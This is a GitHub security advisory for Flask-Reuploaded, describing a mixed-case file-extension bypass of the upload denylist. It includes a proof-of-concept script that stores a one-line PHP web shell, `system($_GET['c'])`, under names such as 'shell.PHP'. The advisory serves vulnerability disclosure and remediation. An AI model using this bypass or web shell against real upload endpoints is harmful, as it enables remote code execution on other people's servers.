GHSA-937X-GPQR-72GG

Vulnerability from github – Published: 2026-07-17 20:11 – Updated: 2026-07-17 20:11
VLAI
Summary
Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)
Details

1. Header

Field Value
Title Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)
Project Flask-Reuploaded (flask_uploads)
Affected <= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23)
Relationship Incomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix)
CWE CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity)
CVSS v3.1 (proposed) ~7.0–7.3 (High, conditional) — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer.
Verified against pip install Flask-Reuploaded==1.5.0, Python 3.11

2. Decisive evidence — the asymmetry

The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercase_ext() (inside get_basename()). The two paths disagree on case:

default path     : get_basename("shell.PHP")
                   = lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
                   -> extension("shell.php") = "php"
                   -> extension_allowed("php")  -> DENY      (correct)

name-override    : secure_filename("shell.PHP") = "shell.PHP"   (case preserved)
                   -> basename = "shell.PHP"
                   -> ext = extension("shell.PHP") = "PHP"        (NOT lowercased)
                   -> extension_allowed("PHP")  -> ALLOW         (bypass)

On a denylist UploadSet the allow-check returns True for the mixed-case form:

# extensions.py:97
def __contains__(self, item): return item not in self.items
# "PHP" not in ('js','php','pl','py','rb','sh')  ->  True   ->  allowed

extension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.

3. Vulnerability summary

UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).

4. Affected components

Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).

Role Location
Normalizing helper (default path) src/flask_uploads/flask_uploads.py:283 — return lowercase_ext(secure_filename(filename))
save() entry src/flask_uploads/flask_uploads.py:285
name-override sanitize src/flask_uploads/flask_uploads.py:333 — name = secure_filename(name)
name-override assign (case kept) src/flask_uploads/flask_uploads.py:341 — basename = name
Re-validation (non-normalizing) src/flask_uploads/flask_uploads.py:344 — ext = extension(basename)
Allow-check src/flask_uploads/flask_uploads.py:345
Policy check src/flask_uploads/flask_uploads.py:268 — extension_allowed
Containment backstop (path only) src/flask_uploads/flask_uploads.py:364
Sink src/flask_uploads/flask_uploads.py:374 — storage.save(target)
Case-preserving extractor src/flask_uploads/extensions.py:101 — def extension
Case-normalizing extractor src/flask_uploads/extensions.py:109 — def lowercase_ext
Denylist membership src/flask_uploads/extensions.py:97 — AllExcept.__contains__
Documented script denylist src/flask_uploads/extensions.py:34-35

5. Taint analysis

  • Source: the name argument of UploadSet.save(storage, name=...) — commonly user-derived; the parent CVE-2026-27641 already treats name as attacker-controllable.
  • Guard (asymmetric): secure_filename(name) stops traversal, but the extension policy check at :344-345 uses non-normalizing extension() against a lowercase-tokened policy. The realpath containment at :364 constrains the path, not the extension — orthogonal to this bypass.
  • Sink: storage.save(target) at :374 writes the attacker-extensioned file into the served upload directory.

6. CVSS justification (preconditions stated honestly)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0–7.3 (High).

  • AV:N — web upload endpoint.
  • AC:H — three preconditions (stated plainly):
  • UploadSet uses a denylist — AllExcept(...) or populated config.deny. (Allowlists fail closed — §7c.)
  • Application passes a user-influenced name to save().
  • Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache AddHandler/AddType).
  • PR:L — uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H — RCE under the web server's privileges on execution-capable upload dirs.

Why High, not a contrived misconfiguration — the bypassed control is the library's documented script-blocking mechanism:

  • extensions.py:34-35 — SCRIPTS: "…you might want to add php to the DENY setting."
  • extensions.py:24-26 — EXECUTABLES: "…it's better suited for use with AllExcept."

An app that followed this guidance to block scripts is exactly what this variant defeats.

Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.

7. Proof of Concept (results)

Against shipped Flask-Reuploaded==1.5.0:

7a. Asymmetry

default path  : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW

7b. End-to-end (denylist AllExcept(SCRIPTS))

[1] save(storage("shell.PHP"))                              -> UploadNotAllowed   (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP")           -> saved "shell.PHP", on_disk=True   (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp")           -> saved "evil.pHp",  on_disk=True; containment intact

7c. Negative controls

[3] allowlist IMAGES, name="shell.PHP"  -> UploadNotAllowed: File extension 'PHP' is not allowed  (fail-closed)
[4] allowlist IMAGES, name="photo.jpg"  -> saved "photo.jpg"                                       (legit unaffected)

8. Patch pattern (internal precedent)

The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are "compare[d] … in the same case" (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.

9. Impact

  • Bypass of the documented extension denylist for scripts/executables.
  • Storage of .PHP / .pHp / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).
  • On case-insensitive execution surfaces → remote code execution under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.

10. Suggested remediation

Normalize before the policy check so the name-override path matches the default path:

  1. ext = extension(basename).lower() (or extension(lowercase_ext(basename))) before extension_allowed.
  2. Or run the overridden basename through lowercase_ext() (as get_basename does) before both validation and save.
  3. Or make extension_allowed / the policy containers case-insensitive.

Option (1) or (2) is the minimal, behavior-preserving fix.

11. Evidence files

  • poc_case_fold.py (§12) — self-contained PoC; runs against pip install Flask-Reuploaded==1.5.0.
  • /tmp/flask_reuploaded_case_fold_proof.txt — captured verdict.
  • Source permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23.

12. Full PoC script (poc_case_fold.py)

"""
PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.

Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.

  default path     : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
  name-override    : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
                     -> extension("shell.PHP")  -> "PHP" -> extension_allowed("PHP") -> ALLOW

Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile

from flask import Flask
from flask_uploads import (
    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads


def make_storage(filename: str) -> FileStorage:
    return FileStorage(
        stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
        filename=filename,
        content_type="application/octet-stream",
    )


def run():
    import importlib.metadata as md
    print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")

    dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
    dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")

    app = Flask(__name__)
    files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))   # documented "allow all except scripts"
    files_allow = UploadSet("filesallow", IMAGES)             # allowlist (fail-closed)
    app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
    app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
    configure_uploads(app, (files_deny, files_allow))

    results = {}
    with app.app_context():
        # [1] default path, denylist -> must DENY
        try:
            saved = files_deny.save(make_storage("shell.PHP"))
            results["default_path"] = f"SAVED as {saved}  <-- UNEXPECTED"
        except UploadNotAllowed:
            results["default_path"] = "DENIED (expected)"

        # [2] name-override, denylist -> BYPASS
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
            on_disk = os.path.join(dest_denylist, saved)
            results["variant"] = f"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}"
        except UploadNotAllowed:
            results["variant"] = "DENIED (variant did NOT reproduce)"

        # [2b] mixed-case generality + containment intact
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
            on_disk = os.path.join(dest_denylist, saved)
            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
            results["variant_mixed"] = f"BYPASS — saved as {saved}, inside_dest={inside}"
        except UploadNotAllowed:
            results["variant_mixed"] = "DENIED"

        # [3] allowlist -> fail closed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
            results["allowlist"] = f"SAVED as {saved}  <-- allowlist leaked"
        except UploadNotAllowed:
            results["allowlist"] = "DENIED (expected — allowlist fails closed)"

        # [4] legit upload -> allowed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
            results["legit"] = f"SAVED as {saved} (expected)"
        except UploadNotAllowed:
            results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"

    print("VERDICT:")
    for k, v in results.items():
        print(f"   {k:14s}: {v}")

    confirmed = (
        "BYPASS" in results.get("variant", "")
        and results.get("default_path") == "DENIED (expected)"
        and "DENIED" in results.get("allowlist", "")
    )
    print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")

    shutil.rmtree(dest_denylist, ignore_errors=True)
    shutil.rmtree(dest_allowlist, ignore_errors=True)


if __name__ == "__main__":
    run()
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Flask-Reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:11:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `\u003c= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0\u20137.3 (High, conditional)** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence \u2014 the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path     : get_basename(\"shell.PHP\")\n                   = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n                   -\u003e extension(\"shell.php\") = \"php\"\n                   -\u003e extension_allowed(\"php\")  -\u003e DENY      (correct)\n\nname-override    : secure_filename(\"shell.PHP\") = \"shell.PHP\"   (case preserved)\n                   -\u003e basename = \"shell.PHP\"\n                   -\u003e ext = extension(\"shell.PHP\") = \"PHP\"        (NOT lowercased)\n                   -\u003e extension_allowed(\"PHP\")  -\u003e ALLOW         (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in (\u0027js\u0027,\u0027php\u0027,\u0027pl\u0027,\u0027py\u0027,\u0027rb\u0027,\u0027sh\u0027)  -\u003e  True   -\u003e  allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload \u2192 code-execution outcome the parent CVE addressed. The bypassed config is the one the library\u0027s own docs recommend for blocking scripts (see \u00a76).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` \u2014 `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` \u2014 `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` \u2014 `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` \u2014 `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` \u2014 `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` \u2014 `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` \u2014 `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` \u2014 `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` \u2014 `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` \u2014 commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* \u2014 orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` \u2248 **7.0\u20137.3 (High)**.\n\n- **AV:N** \u2014 web upload endpoint.\n- **AC:H** \u2014 three preconditions (stated plainly):\n  1. `UploadSet` uses a **denylist** \u2014 `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed \u2014 \u00a77c.)\n  2. Application passes a **user-influenced `name`** to `save()`.\n  3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** \u2014 uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** \u2014 RCE under the web server\u0027s privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** \u2014 the bypassed control is the library\u0027s documented script-blocking mechanism:\n\n- `extensions.py:34-35` \u2014 `SCRIPTS`: *\"\u2026you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` \u2014 `EXECUTABLES`: *\"\u2026it\u0027s better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path  : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\nname-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" -\u003e extension(...) -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\"))                              -\u003e UploadNotAllowed   (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\")           -\u003e saved \"shell.PHP\", on_disk=True   (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\")           -\u003e saved \"evil.pHp\",  on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\"  -\u003e UploadNotAllowed: File extension \u0027PHP\u0027 is not allowed  (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\"  -\u003e saved \"photo.jpg\"                                       (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] \u2026 in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on \u2014 the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces \u2192 **remote code execution** under the web server\u0027s privileges \u2014 the parent CVE\u0027s end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (\u00a712) \u2014 self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` \u2014 captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC \u2014 Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -\u003e lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n  default path     : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\n  name-override    : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" (case kept)\n                     -\u003e extension(\"shell.PHP\")  -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -\u003e FileStorage:\n    return FileStorage(\n        stream=io.BytesIO(b\"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\"),\n        filename=filename,\n        content_type=\"application/octet-stream\",\n    )\n\n\ndef run():\n    import importlib.metadata as md\n    print(f\"[*] pip reports: Flask-Reuploaded=={md.version(\u0027Flask-Reuploaded\u0027)}\")\n\n    dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n    dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n    app = Flask(__name__)\n    files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS))   # documented \"allow all except scripts\"\n    files_allow = UploadSet(\"filesallow\", IMAGES)             # allowlist (fail-closed)\n    app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n    app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n    configure_uploads(app, (files_deny, files_allow))\n\n    results = {}\n    with app.app_context():\n        # [1] default path, denylist -\u003e must DENY\n        try:\n            saved = files_deny.save(make_storage(\"shell.PHP\"))\n            results[\"default_path\"] = f\"SAVED as {saved}  \u003c-- UNEXPECTED\"\n        except UploadNotAllowed:\n            results[\"default_path\"] = \"DENIED (expected)\"\n\n        # [2] name-override, denylist -\u003e BYPASS\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n            on_disk = os.path.join(dest_denylist, saved)\n            results[\"variant\"] = f\"BYPASS \u2014 saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n        except UploadNotAllowed:\n            results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n        # [2b] mixed-case generality + containment intact\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n            on_disk = os.path.join(dest_denylist, saved)\n            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n            results[\"variant_mixed\"] = f\"BYPASS \u2014 saved as {saved}, inside_dest={inside}\"\n        except UploadNotAllowed:\n            results[\"variant_mixed\"] = \"DENIED\"\n\n        # [3] allowlist -\u003e fail closed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n            results[\"allowlist\"] = f\"SAVED as {saved}  \u003c-- allowlist leaked\"\n        except UploadNotAllowed:\n            results[\"allowlist\"] = \"DENIED (expected \u2014 allowlist fails closed)\"\n\n        # [4] legit upload -\u003e allowed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n            results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n        except UploadNotAllowed:\n            results[\"legit\"] = \"DENIED (UNEXPECTED \u2014 legit upload broke)\"\n\n    print(\"VERDICT:\")\n    for k, v in results.items():\n        print(f\"   {k:14s}: {v}\")\n\n    confirmed = (\n        \"BYPASS\" in results.get(\"variant\", \"\")\n        and results.get(\"default_path\") == \"DENIED (expected)\"\n        and \"DENIED\" in results.get(\"allowlist\", \"\")\n    )\n    print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED \u2014 honest cut\")\n\n    shutil.rmtree(dest_denylist, ignore_errors=True)\n    shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    run()\n```",
  "id": "GHSA-937x-gpqr-72gg",
  "modified": "2026-07-17T20:11:35Z",
  "published": "2026-07-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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